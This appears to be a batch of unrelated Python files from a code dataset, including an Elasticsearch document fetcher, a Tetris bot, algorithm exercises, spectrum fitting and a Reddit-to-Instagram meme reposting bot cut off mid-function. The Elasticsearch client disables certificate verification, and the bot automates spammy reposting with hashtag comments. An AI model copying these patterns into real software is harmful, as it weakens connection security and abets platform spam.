column\nshow()\n\n","sub_path":"Documents/Examples/second-order-de-scipy.py","file_name":"second-order-de-scipy.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"390340883","text":"from elasticsearch import Elasticsearch\n\nimport TextMining.Tokenizer.esAccount as esAcc \nfrom TextMining.Tokenizer.kubic_mystorage import *#\n#from TextMining.Tokenizer.kubic_mystorage import getMyDocByEmail2\n\n#python app.py하면 문제,,\n# import esAccount as esAcc\n# from kubic_mystorage import *\n\nimport sys, os\nsys.path.append(os.path.dirname(os.path.dirname(os.path.dirname('TextMining/Tokenizer'))))\nsys.path.append(os.path.dirname(os.path.dirname(os.path.dirname('TextMining/Analyzer'))))\nfrom ssl import create_default_context\nimport re\nimport pandas as pd\n\nes = Elasticsearch(\n [esAcc.host],\n http_auth=(esAcc.id, esAcc.password),\n scheme=\"https\",\n port= esAcc.port,\n verify_certs=False\n)\nindex = esAcc.index\n\n## Collect data from es(post_date, post_body, file_content) and return dataframe\ndef search_in_mydoc2(email, keyword, savedDate):\n df = pd.DataFrame()\n #savedDate = datetime.datetime.strptime(savedDate, \"%Y-%m-%dT%H:%M:%S.%fZ\")\n idList = getMyDocByEmail2(email, keyword, savedDate)\n print('idList=', idList)\n\n df['idList'] = idList\n\n dateList=[]\n bodyList=[]\n fileList=[] \n titleList=[]\n\n response=es.search( \n index=index, \n body={\n \"_source\":['_id', 'post_title', 'post_date','post_body', 'file_extracted_content'],\n \"size\":100,\n \"query\":{\n \"bool\":{\n \"filter\":{\n 'terms':{'hash_key':idList}\n }\n }\n }\n }\n )\n countDoc =len(response['hits']['hits'])\n \n hangul = re.compile('[^ ㄱ-ㅣ가-힣]+')\n\n for i in range(countDoc):\n postDate = response[\"hits\"][\"hits\"][i][\"_source\"].get(\"post_date\")\n postTitle = response[\"hits\"][\"hits\"][i][\"_source\"].get(\"post_title\")\n postBody= response[\"hits\"][\"hits\"][i][\"_source\"].get(\"post_body\")\n fileContent = response[\"hits\"][\"hits\"][i][\"_source\"].get(\"file_extracted_content\")\n \n fileContent = str(fileContent).replace(\"None\",'')\n fileContent = hangul.sub('', fileContent)\n\n dateList.append(postDate)\n bodyList.append(postBody)\n fileList.append(fileContent)\n titleList.append(postTitle) \n \n df['post_date'] = dateList\n df['post_title'] = titleList\n df['post_body'] = bodyList\n df['file_content'] = fileList\n\n df['all_content'] = df['post_body'].str.cat(df['file_content'], sep=' ', na_rep='No data')\n\n #print(\"<내 보관함>\\n\", df)\n #print(\"<내용>\\n\", df['all_content'][0])\n return df[['idList', 'post_date', 'all_content']] \n \n#search_in_mydoc2('21600280@handong.edu', '북한', \"2021-07-08T11:46:03.973Z\")\n#search_in_mydoc2('21800409@handong.edu', '북한', \"2021-08-04T03:48:54.395Z\")\n\n#########################################\n\n# def search_in_mydoc(email):\n# df = pd.DataFrame()\n# idList = getMyDocByEmail(email)\n\n# #df['idList'] = idList\n# dateList=[]\n# bodyList=[]\n# fileList=[] \n\n# ids= ['60840bc62cc126532ac77dee', '60844bc83a7fb186389bdbf6', '60844bc83a7fb186389bdbf8']\n# df['idList'] = ids\n\n# #hash_code로 doc_id 변경\n\n# #es에 있는 모든 doc \n# res = es.search(\n# index=index,\n# body={\n# \"_source\":['_id', 'post_date', 'post_title'],\n# \"query\":{\n# \"match_all\":{}\n# }\n# }\n# )\n\n# response=es.search( \n# index=index, \n# body={\n# \"_source\":['_id', 'post_date','post_body', 'file_extracted_content'],\n# \"size\":100,\n# \"query\":{\n# \"bool\":{\n# \"filter\":{\n# 'terms':{'_id':ids}\n# }\n# }\n# }\n# }\n# )\n# countDoc =len(response['hits']['hits'])\n \n# hangul = re.compile('[^ ㄱ-ㅣ가-힣]+')\n\n# for i in range(countDoc):\n# postDate = response[\"hits\"][\"hits\"][i][\"_source\"].get(\"post_date\")\n# postBody= response[\"hits\"][\"hits\"][i][\"_source\"].get(\"post_body\")\n# fileContent = response[\"hits\"][\"hits\"][i][\"_source\"].get(\"file_extracted_content\")\n \n# fileContent = str(fileContent).replace(\"None\",'')\n# fileContent = hangul.sub('', fileContent)\n\n# dateList.append(postDate)\n# bodyList.append(postBody)\n# fileList.append(fileContent) \n \n# df['post_date'] = dateList\n# df['post_body'] = bodyList\n# df['file_content'] = fileList\n\n# df['all_content'] = df['post_body'].str.cat(df['file_content'], sep=' ', na_rep='No data')\n\n# '''\n# #한글 추출 \n# hangul = re.compile('[^ ㄱ-ㅣ가-힣]+')\n \n# #데이터 전처리\n# postDate = str(postDate)\n# postYearDate = re.sub('[No date|None|^ |^-|^\\n]+','None',postDate)[0:4]\n# postBody = str(postBody).replace(\"None\",'')\n# postBody = hangul.sub('', postBody)\n# fileContent = str(fileContent).replace(\"None\",'')\n# fileContent = hangul.sub('', fileContent)\n \n# dateList.append(postYearDate)\n# bodyList.append(postBody)\n# fileList.append(fileContent)\n \n# df['post_date'] = dateList\n# df['post_body'] = bodyList\n# df['file_content'] = fileList\n \n# #html_df = df.to_html() #flask 돌리기 위해서 \n# #csv_df = df.to_csv('es_rawdata.csv')\n# '''\n# return df[['idList', 'post_date', 'all_content']]\n\n\n# #search_in_mydoc('sujinyang@handong.edu')\n","sub_path":"TextMining/Tokenizer/kubic_data.py","file_name":"kubic_data.py","file_ext":"py","file_size_in_byte":5555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"250296634","text":"from tetris_lookahead import *\nfrom tetris_board import *\nfrom tetris_screen_grabber import *\nfrom keyboard_send import *\nimport numpy as np\nfrom PIL import ImageGrab\nfrom tetris_display import *\n#import pyautogui\nimport time\n\n\ndef print_board(board):\n print('\\n'.join(''.join(' X'[col[::-1][i]] for col in board) for i in range(len(board[0]))))\n\n\ndef column_height(column):\n if True in column:\n return len(column) - 1 - column[::-1].index(True)\n return 0\n\n\ndef column_func(board):\n heights = [column_height(col) for col in board.board]\n return sum((heights[i + 1] - heights[i])**2 for i in range(len(heights) - 1))\n\n\ndef num_holes(board):\n total = 0\n for column in board.board:\n top_found = False\n for r in column[::-1]:\n if r:\n top_found = True\n else:\n total += top_found\n return total\n\n\ndef combine_func(board):\n return num_holes(board) + 0.05 * column_func(board)\n\n\ndef lowest_board(piece, board, func=lambda b: b.stack_height()):\n record = -1\n best_sequence = ''\n best_board = None\n for x, y, s, m in possible_locations(piece, board):\n test_board = TetrisBoard(board.width, board.height)\n test_board.board = [line[:] for line in board.board]\n test_board.piece_add(TetrisPiece(piece.shape, x, y, s))\n lines = test_board.check_clear()\n h = func(test_board) - 0.5 * lines**2\n if h < record or record == -1:\n record = h\n best_sequence = m\n best_board = test_board\n return best_sequence, record, best_board\n\n\ndef press_sequence(sequence):\n keys = {'l': VK_LEFT, 'r': VK_RIGHT, 'D': VK_DOWN, 'x': KEY_X, 'z': KEY_Z}\n for i, char in enumerate(sequence):\n if char == 'D':\n if i == len(sequence) - 1:\n break\n else:\n key_press(VK_DOWN, 0.02)\n elif char == 'R':\n key_press(VK_RIGHT, 0.02)\n elif char == 'L':\n key_press(VK_LEFT, 0.02)\n else:\n key_press(keys[char])\n key_press(VK_SPACE)\n\n\ndef read_queue():\n queue = []\n screenshot = np.array(ImageGrab.grab(bbox=(864, 248, 866, 660)))\n\n for i in range(5):\n r, g, b = screenshot[default_square_size * 3 * i + 15][1]\n if r == 0 and g == 0 and b == 0:\n r, g, b = screenshot[default_square_size * (3 * i + 1) + 15][1]\n queue.append(colors['#' + hex(65536 * r + 256 * g + b)[2:].zfill(6)])\n return queue\n\n\ntime.sleep(3)\nkey_press(KEY_P)\ntime.sleep(1)\nqueue = read_queue()\nlastQueue = queue[:]\ntime.sleep(1)\nboard = TetrisBoard(10, 24)\nc = 0\nwhile True:\n try:\n # if seen_board.board != board.board:\n # print('ERROR')\n # print('EXPECTED:')\n # print_board(board.board)\n # print('\\nGOT:')\n # print_board(seen_board.board)\n # print()\n # print(shape)\n # print(seq)\n shape = queue.pop(0)\n if not queue:\n time.sleep(0.04)\n queue = read_queue()\n c += 1\n if c > 3:\n screenshot = np.array(ImageGrab.grab(bbox=(490, 218, 790, 812)))\n board = make_board(screenshot, default_x0, default_y0, default_square_size, default_width, 24, 19)\n c = 0\n seq, score, board = lowest_board(TetrisPiece(shape, 4, 19, 0), board, combine_func)\n press_sequence(seq)\n\n except KeyError as e:\n if str(e) == '#000000':\n key_press(KEY_P)\n time.sleep(2)\n best_board = None\n continue\n else:\n print(str(e))\n","sub_path":"sprint_bot_1000L.py","file_name":"sprint_bot_1000L.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"237283284","text":"def solution(array, commands):\n answer = []\n for i,j,k in commands:\n answer.append(sorted(array[i-1 : j])[k-1])\n return answer\n\narrays = [1, 5, 2, 6, 3, 7, 4]\ncommand = [[2, 5, 3], [4, 4, 1], [1, 7, 3]]\n\nprint(solution(arrays, command))","sub_path":"LEVEL1/Day3/KthNumber_sb.py","file_name":"KthNumber_sb.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"307224075","text":"import os\nimport time\nimport playsound\nimport speech_recognition as sr\nfrom gtts import gTTS\n\n\ndef speak(text):\n tts = gTTS(text=text, lang=\"en\")\n filename = \"voice.mp3\"\n tts.save(filename)\n playsound.playsound(filename)\n\n\n\"\"\"def textSpeak(file):\n with open(\"file.txt\", \"r\"):\n text = file.read\n\n file1 = gTTS(text=text, lang=\"es\")\n filename = \"audio.mp3\"\n file1.save(filename)\n playsound.playsound(filename)\n\"\"\"\n\n\ndef get_audio():\n r = sr.Recognizer()\n with sr.Microphone() as source:\n audio = r.listen(source)\n said = \"\"\n\n try:\n said = r.recognize_google(audio)\n print(said)\n except Exception as e:\n print(\"Error: \"+str(e))\n \n return said\n\n\nspeak(\"Hello\")\nget_audio()\n# textSpeak(\"textAVos.txt\")\n","sub_path":"python/textAvoz.py","file_name":"textAvoz.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"107762149","text":"import matplotlib as mpl\nmpl.use('Agg') # training mode, no screen should be open. (It will block training loop)\nimport argparse\nimport os\n\nimport cv2\nimport numpy as np\nimport tensorflow as tf\nfrom common import get_sample_images\nfrom pose_dataset import CocoPose\nfrom networks import get_network\n\n\ndef read_imgfile(path, width=None, height=None):\n val_image = cv2.imread(path, cv2.IMREAD_COLOR)\n val_image = cv2.cvtColor(val_image.astype(np.uint8), cv2.COLOR_BGR2RGB) \n if width is not None and height is not None:\n val_image = cv2.resize(val_image, (width, height))\n return val_image\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Train-like inference')\n parser.add_argument('--out_path', type=str, default='./models/custom_training')\n parser.add_argument('--checkpoint', type=str, default='')\n parser.add_argument('--input-width', type=int, default=656)\n parser.add_argument('--input-height', type=int, default=368)\n parser.add_argument('--model_name', type=str, default=\"mobilenet_thin\")\n args = parser.parse_args()\n test_images = get_sample_images(args.input_width, args.input_height)\n num_images = len(test_images)\n if not os.path.exists(args.out_path):\n os.makedirs(args.out_path)\n\n output_h = args.input_height / 8\n output_w = args.input_width / 8\n with tf.device(tf.DeviceSpec(device_type=\"CPU\")):\n input_node = tf.placeholder(tf.float32, shape=(num_images, args.input_height, args.input_width, 3), name='image')\n\n outputs = []\n with tf.device(tf.DeviceSpec(device_type=\"GPU\", device_index=0)):\n with tf.variable_scope(tf.get_variable_scope()):\n net, pretrain_path, last_layer = get_network(args.model_name, input_node)#, trainable=False)\n outputs.append(net.get_output())\n outputs = tf.concat(outputs, axis=0)\n\n saver = tf.train.Saver(max_to_keep=100)\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n saver.restore(sess, args.checkpoint)\n\n #import pdb;pdb.set_trace()i\n inp = np.array(test_images)\n print(inp.shape)\n outputMat = sess.run(outputs, feed_dict={input_node: inp})\n pafMat, heatMat = outputMat[:, :, :, 19:], outputMat[:, :, :, :19]\n for i in range(num_images):\n test_result = CocoPose.display_image(test_images[i], heatMat[i], pafMat[i], as_numpy=True).astype(float)\n test_result = cv2.resize(test_result, (640, 640))\n test_result = test_result.reshape([640, 640, 3]).astype(float)\n # cv2.imwrite(os.path.join(args.out_path,\"all_hm_%d.png\"%i),heatMat[i][-1])\n cv2.imwrite(os.path.join(args.out_path,\"pic_%d.png\"%i),test_result)\n","sub_path":"tf_pose/train_like_inference.py","file_name":"train_like_inference.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"353458596","text":"from collections import defaultdict\nimport traceback\n\n#######################################################################################################\ndef split_by_month(wflows,infer):\n for wflow in wflows:\n if not infer and \"inferred\" in wflow[\"flow_txn_types\"]:\n continue\n month_ID = \"-\".join(wflow['flow_timestamp'].split(\"-\")[:-1])\n yield month_ID, wflow\n\n#######################################################################################################\ndef piechart_by_categ(wflow_file,piechart_file,issues_file,max_hops=6,infer=False):\n ##########################################################################################\n wflow_header = ['flow_timestamp','flow_amt','flow_frac_root','flow_length','flow_length_wrev','flow_duration','flow_acct_IDs','flow_txn_IDs','flow_txn_types','flow_durations','flow_rev_fracs','flow_categs']\n piechart_header = ['hop','txn_type','amount','frac_root','txns','senders']\n with open(wflow_file,'r') as wflow_file, open(issues_file,'w') as issues_file:\n reader_wflows = csv.DictReader(wflow_file,delimiter=\",\",quotechar='\"',escapechar=\"%\")\n writer_issues = csv.writer(issues_file,delimiter=\",\",quotechar='\"',escapechar=\"%\")\n #############################################################\n # piecharts is a rather nested dictionary: split_categ -> txn_type -> hop -> base_dictionary\n piecharts = defaultdict(lambda: defaultdict(lambda: {hop:{'amount':0,'frac_root':0,'txns':set(),'senders':set()} for hop in range(max_hops+1)}))\n # populate the piechart dictionary\n for categ, wflow in split_by_month(reader_wflows,infer):\n try:\n wflow = parse(wflow)\n piecharts = update_piechart(piecharts, categ, wflow, max_hops)\n except:\n writer_issues.writerow([wflow[term] for term in wflow]+[traceback.format_exc()])\n # get all the categories seen\n categs = set(piecharts.keys())\n # get all the transaction types seen in any category\n txn_types = set()\n for categ in piecharts:\n txn_types.update(piecharts[categ].keys())\n # create an overall piechart dictionary, and fill in any gaps in the others\n piecharts = combine_piecharts(piecharts,categs,txn_types)\n # calculating diagnostics for each piechart dictionary\n diagnostics = summarize_piecharts(piecharts)\n # finalize the piechart dictionary\n piecharts = finalize_piechart(piecharts)\n # write the piecharts\n for categ in piecharts:\n this_piechart_file = piechart_file.split(\".csv\")[0]+\"_\"+str(categ)+\".csv\"\n write_piechart(diagnostics[categ],piecharts[categ],this_piechart_file,piechart_header)\n\ndef parse(wflow):\n #####################################################################################\n wflow['flow_acct_IDs'] = wflow['flow_acct_IDs'].strip('[]').split(',')\n wflow['flow_txn_IDs'] = wflow['flow_txn_IDs'].strip('[]').split(',')\n wflow['flow_txn_types'] = wflow['flow_txn_types'].strip('[]').split(',')\n wflow['flow_rev_fracs'] = wflow['flow_rev_fracs'].strip('[]').split(',')\n wflow['flow_amt'] = float(wflow['flow_amt'])\n wflow['flow_frac_root'] = float(wflow['flow_frac_root'])\n wflow['flow_categs'] = tuple(wflow['flow_categs'].strip('()').split(','))\n return wflow\n\ndef update_piechart(piecharts, categ, wflow, max_hops):\n #####################################################################################\n for i,txn_type in enumerate(wflow['flow_txn_types']):\n # adjust for whether or not the weighted flow begins with a deposit (hop = 0)\n hop = i if wflow['flow_categs'][0] == 'deposit' else i+1\n # limit hops to max_hops\n if hop > max_hops:\n break\n # update aggregates\n if wflow['flow_txn_IDs'][i]:\n # continuous terms\n rev_frac = float(wflow['flow_rev_fracs'][i]) - float(wflow['flow_rev_fracs'][i-1]) if (i > 0 and wflow['flow_rev_fracs'][i-1]) else float(wflow['flow_rev_fracs'][i])\n piecharts[categ][txn_type][hop]['amount'] += wflow['flow_amt']*(1-rev_frac)\n piecharts[categ]['rev'][hop]['amount'] += wflow['flow_amt']*(rev_frac)\n piecharts[categ][txn_type][hop]['frac_root'] += wflow['flow_frac_root']*(1-rev_frac)\n piecharts[categ]['rev'][hop]['frac_root'] += wflow['flow_frac_root']*(rev_frac)\n # discrete terms\n piecharts[categ][txn_type][hop]['txns'].add(wflow['flow_txn_IDs'][i])\n if wflow['flow_acct_IDs'][i]:\n piecharts[categ][txn_type][hop]['senders'].add(wflow['flow_acct_IDs'][i])\n return piecharts\n\ndef combine_piecharts(piecharts,categs,txn_types):\n for categ in categs:\n for txn_type in txn_types:\n for hop in piecharts[categ][txn_type]:\n # continuous terms\n piecharts['TOTAL'][txn_type][hop]['amount'] += piecharts[categ][txn_type][hop]['amount']\n piecharts['TOTAL'][txn_type][hop]['frac_root'] += piecharts[categ][txn_type][hop]['frac_root']\n # discrete terms\n piecharts['TOTAL'][txn_type][hop]['txns'].update(piecharts[categ][txn_type][hop]['txns'])\n piecharts['TOTAL'][txn_type][hop]['senders'].update(piecharts[categ][txn_type][hop]['senders'])\n return piecharts\n\ndef summarize_piecharts(piecharts):\n diagnostics = defaultdict(lambda: defaultdict(lambda: {'amount':0,'frac_root':0,'txns':set(),'senders':set()}))\n for categ in piecharts:\n for txn_type in piecharts[categ]:\n for hop in piecharts[categ][txn_type]:\n # continuous terms\n diagnostics[categ][txn_type]['amount'] += piecharts[categ][txn_type][hop]['amount']\n diagnostics[categ][txn_type]['frac_root'] += piecharts[categ][txn_type][hop]['frac_root']\n # discrete terms\n diagnostics[categ][txn_type]['txns'].update(piecharts[categ][txn_type][hop]['txns'])\n diagnostics[categ][txn_type]['senders'].update(piecharts[categ][txn_type][hop]['senders'])\n # continuous terms\n diagnostics[categ]['TOTAL']['amount'] += diagnostics[categ][txn_type]['amount']\n diagnostics[categ]['TOTAL']['frac_root'] += diagnostics[categ][txn_type]['frac_root']\n # discrete terms\n diagnostics[categ]['TOTAL']['txns'].update(diagnostics[categ][txn_type]['txns'])\n diagnostics[categ]['TOTAL']['senders'].update(diagnostics[categ][txn_type]['senders'])\n for categ in diagnostics:\n for txn_type in diagnostics[categ]:\n # discrete terms\n diagnostics[categ][txn_type]['txns'] = len(diagnostics[categ][txn_type]['txns'])\n diagnostics[categ][txn_type]['senders'] = len(diagnostics[categ][txn_type]['senders'])\n return diagnostics\n\ndef finalize_piechart(piechart):\n for categ in piechart:\n for txn_type in piechart[categ]:\n for hop in piechart[categ][txn_type]:\n # discrete terms\n piechart[categ][txn_type][hop]['txns'] = len(piechart[categ][txn_type][hop]['txns'])\n piechart[categ][txn_type][hop]['senders'] = len(piechart[categ][txn_type][hop]['senders'])\n return piechart\n\ndef write_piechart(diagnostics,piechart,piechart_file,piechart_header):\n with open(piechart_file,'w') as piechart_file:\n writer_piechart = csv.DictWriter(piechart_file,piechart_header,delimiter=\",\",quotechar=\"'\",escapechar=\"%\")\n # print header\n writer_piechart.writeheader()\n # print diagnostics\n for txn_type in diagnostics:\n writer_piechart.writerow({'hop':'TOTAL','txn_type':txn_type,'amount':diagnostics[txn_type]['amount'],\\\n 'frac_root':diagnostics[txn_type]['frac_root'],\\\n 'txns':diagnostics[txn_type]['txns'],\\\n 'senders':diagnostics[txn_type]['senders']})\n # print diagnostics\n for txn_type in piechart:\n for hop in piechart[txn_type]:\n writer_piechart.writerow({'hop':hop,'txn_type':txn_type,'amount':piechart[txn_type][hop]['amount'],\\\n 'frac_root':piechart[txn_type][hop]['frac_root'],\\\n 'txns':piechart[txn_type][hop]['txns'],\\\n 'senders':piechart[txn_type][hop]['senders']})\n\nif __name__ == '__main__':\n import argparse\n import sys\n import csv\n import os\n\n ################### ARGUMENTS #####################\n parser = argparse.ArgumentParser()\n parser.add_argument('input_file', help='The input weighted flow file (created by follow_the_money.py)')\n parser.add_argument('output_directory', help='Path to the output directory')\n parser.add_argument('--prefix', default=\"\", help='Prefix prepended to output files')\n parser.add_argument('--max_hops', type=int, default=6, help='Create a bar chart file out to this step')\n parser.add_argument('--infer', action=\"store_true\", default=False, help='Include flows that begin or end with inferred transactions')\n\n args = parser.parse_args()\n\n if not os.path.isfile(args.input_file):\n raise OSError(\"Could not find the input file\",args.input_file)\n if not os.path.isdir(args.output_directory):\n raise OSError(\"Could not find the output directory\",args.output_directory)\n\n wflow_filename = args.input_file\n chart_filename = os.path.join(args.output_directory,args.prefix+\"chart.csv\")\n report_filename = os.path.join(args.output_directory,args.prefix+\"chart_issues.txt\")\n\n ######### Creates weighted flow file #################\n piechart_by_categ(wflow_filename,chart_filename,report_filename,max_hops=int(args.max_hops),infer=args.infer)\n #################################################\n","sub_path":"analysis/length.py","file_name":"length.py","file_ext":"py","file_size_in_byte":10218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"268350672","text":"#\n# @lc app=leetcode id=61 lang=python3\n#\n# [61] Rotate List\n#\n# https://leetcode.com/problems/rotate-list/description/\n#\n# algorithms\n# Medium (26.95%)\n# Likes: 594\n# Dislikes: 810\n# Total Accepted: 191.7K\n# Total Submissions: 707K\n# Testcase Example: '[1,2,3,4,5]\\n2'\n#\n# Given a linked list, rotate the list to the right by k places, where k is\n# non-negative.\n# \n# Example 1:\n# \n# \n# Input: 1->2->3->4->5->NULL, k = 2\n# Output: 4->5->1->2->3->NULL\n# Explanation:\n# rotate 1 steps to the right: 5->1->2->3->4->NULL\n# rotate 2 steps to the right: 4->5->1->2->3->NULL\n# \n# \n# Example 2:\n# \n# \n# Input: 0->1->2->NULL, k = 4\n# Output: 2->0->1->NULL\n# Explanation:\n# rotate 1 steps to the right: 2->0->1->NULL\n# rotate 2 steps to the right: 1->2->0->NULL\n# rotate 3 steps to the right: 0->1->2->NULL\n# rotate 4 steps to the right: 2->0->1->NULL\n# \n#\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # My Solution\n def rotateRight(self, head: ListNode, k: int) -> ListNode:\n if not head: return head\n cur, count = head, 0\n while cur:\n cur = cur.next\n count += 1\n k = k % count\n if not k: return head\n # dummy\n left = right = ListNode(None)\n right.next = head\n for _ in range(k):\n right = right.next\n left.next = head\n while right.next:\n left = left.next\n right = right.next\n # rotate\n newHead = left.next\n left.next = None\n right.next = head\n return newHead\n\n\n","sub_path":"61.rotate-list.py","file_name":"61.rotate-list.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"221543638","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nfor i in range(1,11):\n missdata=[]\n with open(\"anomacttestdata\"+str(i)+\".txt\",\"r\")as fp:\n data = fp.readlines()\n for line in data:\n if \"cache-misses\" in line:\n arr = line.split()\n if \"cache-misses:\" == arr[6]:\n i = 7\n else:\n i = 6\n missdata.append(arr[i])\n misscount=[]\n for i in missdata:\n misscount.append(missdata.count(i))\n df1 = pd.DataFrame(misscount, columns=['count'], index = missdata)\n plt.imshow(df1, cmap=\"YlGn\")\n plt.colorbar()\n plt.xticks(range(1),rotation=20)\n plt.yticks(range(40), df1.index)\n plt.show()\n\n plt.scatter(misscount, missdata, s=1)\n plt.xticks([])\n plt.yticks([])\n plt.xlabel(\"Misses\")\n plt.ylabel(\"Address\")\n #plt.autoscale(True, 'both', True)\n plt.rcParams[\"figure.figsize\"]=[100,100]\n plt.show()\n","sub_path":"anom-files/anomheatmap.py","file_name":"anomheatmap.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"439996957","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom datetime import datetime\nimport csv\n\nfrom edibles.utils.edibles_spectrum import EdiblesSpectrum\nfrom edibles.models import ContinuumModel\n\n\nclass Continuum:\n \"\"\"A class that has multiple methods for fitting different types of continua.\n\n Args:\n Spectrum (EdiblesSpectrum): The input EiblesSpectrum data\n plot (bool): If true, plots the continuum fit\n verbose (int): If > 0, display more status messages\n\nwith open('eggs.csv', newline='') as csvfile:\n \n \n print(', '.join(row))\n\n \"\"\"\n\n def __init__(self, Spectrum, method=\"spline\", plot=False, verbose=0, *args, **kwargs):\n \n # check existing the available continuum csv files\n if Spectrum.continuum_filename:\n verbos_count = 0\n with open(Spectrum.continuum_filename) as csvfile:\n spamreader = csv.reader(csvfile, delimiter=' ', quotechar='|')\n for row in spamreader:\n if len(row) > 0:\n if row[0] == '######':\n verbos_count += 1\n verbos = verbos_count \n \n \n self.method = method\n self.Spectrum = Spectrum\n self.plot = plot\n self.verbose = verbose\n\n if method == \"spline\":\n self.spline(*args, **kwargs)\n elif method == \"alphashape\":\n self.alphashape(*args, **kwargs)\n elif method == \"polynomial\":\n self.polynomial(*args, **kwargs)\n\n def spline(self, *args, **kwargs):\n \"\"\"A spline function through a set number of anchor points\n\n Args:\n n_anchors (int): The number of anchor points in the spline\n\n \"\"\"\n\n if self.verbose > 0:\n print(\"method: \", self.method)\n print()\n\n n_anchors = kwargs[\"n_anchors\"]\n\n self.model = ContinuumModel(n_anchors=n_anchors)\n cont_pars = self.model.guess(self.Spectrum.flux, x=self.Spectrum.wave)\n\n self.result = self.model.fit(\n data=self.Spectrum.flux, params=cont_pars, x=self.Spectrum.wave\n )\n\n if self.plot:\n self.result.plot_fit()\n plt.show()\n\n def alphashape(self):\n if self.verbose > 0:\n print(\"method: \", self.method)\n print()\n\n print(\"This method is not available yet.\")\n\n def polynomial(self):\n if self.verbose > 0:\n print(\"method: \", self.method)\n print()\n print(\"This method is not available yet.\")\n\n\n def add_to_csv(self, user, comments=False):\n\n # Tests not in testing folder beceause we dont want to write the testing data\n assert isinstance(cont.model, ContinuumModel)\n assert isinstance(user, str)\n assert len(user) > 0, \"A name must be entered\"\n assert isinstance(comments, str)\n assert isinstance(cont.model.n_anchors, int)\n assert isinstance(datetime.now(), datetime)\n\n\n csv_file = self.Spectrum.filename.replace(\".fits\", \".csv\").replace(\n \"/DR4/data/\", \"/DR4/continuum/\"\n )\n\n line1 = \"method=\" + self.method + \", \" + \"n_anchors=\" + str(self.model.n_anchors)\n line2 = (\n \"datetime=\" + str(datetime.now()) + \", \"\n + \"user=\" + user + \", \" + \"Comments: \" + comments\n )\n\n x_points = [self.result.params[xname].value for xname in self.model.xnames]\n y_points = [self.result.params[yname].value for yname in self.model.ynames]\n\n header = line1 + \"\\n\" + line2\n with open(csv_file, mode=\"a\") as f:\n np.savetxt(f, (x_points, y_points), delimiter=\",\", header=header, comments=\"# \")\n f.write(\"\\n\")\n\n if self.verbose > 0:\n print(\"Appended to file!\")\n if self.verbose > 1:\n print(\"File appended to: \" + csv_file)\n\n\nif __name__ == \"__main__\":\n\n sp = EdiblesSpectrum(\"/HD23466/BLUE_346/HD23466_w346_blue_20180731_O11.fits\")\n subset = sp.getSpectrum(xmin=3270, xmax=3305)\n\n cont = Continuum(sp, method=\"spline\", n_anchors=5, plot=True, verbose=2)\n\n print(\"X names: \", cont.model.xnames)\n print(\"X values: \", [cont.result.params[param].value for param in cont.model.xnames])\n print(\"Y names: \", cont.model.ynames)\n print(\"Y values: \", [cont.result.params[param].value for param in cont.model.ynames])\n\n\n # cont.add_to_csv(user=\"First Last\", comments=\"These are test points and should not be used.\")\n\n","sub_path":"edibles/continuum.py","file_name":"continuum.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"504846246","text":"#alex Shelton\n\n\nfrom InstagramAPI import InstagramAPI\nimport praw\nimport json\nimport datetime\nimport os\nimport requests\nimport bcrypt #hashing image names\nimport random\nimport time\nimport hashlib\nimport sys #arguments to the script\nfrom multiprocessing import Process\nimport subprocess #calls shell script uppon startup\n\n## Reddit Script API Credentials ## Visit reddit / pref / app\nclient_id= ''\nclient_secret=''\npassword=''\nuser_agent = ''\nusername = ''\n##### ##### ##### ##### #####\n## Path where files will be saved to ##\npath = ''\n\n#List of subreddits to browse through\nsubreddit_list = ['memes','dank_meme']\n#Captions to add to photo post\ncaptionList = ['Beans','jajaja','Premium memes posted all day every day','I post memes all day', 'All I do is make and browse memes', 'My memes are superior just admit it','Share this with 5 homies', 'I need to get off the internet', 'Krumpit','Fart','ayy lmao', 'Haha rawr XD', 'If I punch myself and it hurts does that make me strong or weak?']\n# Tags to add to post\ntags = '#dankmemes #memes #meme #dank #funny #lol #cringe #edgy #dankmeme #edgymemes #funnymemes #anime #memesdaily #lmfao #follow #comedy #hilarious #nochill #ayylmao #triggered #fortnite #savage'\n\nfiles = []\n\nreddit = praw.Reddit(client_id=client_id,\n client_secret=client_secret, password=password,\n user_agent=user_agent, username=username)\n\n#Add tags goes to your most recent post and adds a comment of tags to the image\n#Called right after post since there insnt a way to add comments to post only caption\ndef addTags():\n #instaBot.login()\n user_posts = instaBot.getSelfUserFeed()\n feed = instaBot.LastJson\n latestMediaItem = feed[\"items\"][0]\n latestMediaItemID = latestMediaItem[\"caption\"][\"media_id\"]\n\n instaBot.comment(mediaId=latestMediaItemID, commentText=tags)\n print(\"Tags added to photo\")\n #instaBot.logout()\n\n#Post image picks a random file from the directory of images and posts it\n#After the post, the file is deleted from folder and file list\ndef postImage():\n randomImage = random.randrange(0,len(files))\n randomCaption = random.randrange(0,len(captionList))\n\n desiredFile = files[randomImage]\n desiredCaption = captionList[randomCaption]\n #instaBot.login()\n instaBot.uploadPhoto(desiredFile, caption=desiredCaption)\n\n #instaBot.logout()\n print(\"Image has been posted\")\n #delete file from directory and list:\n del 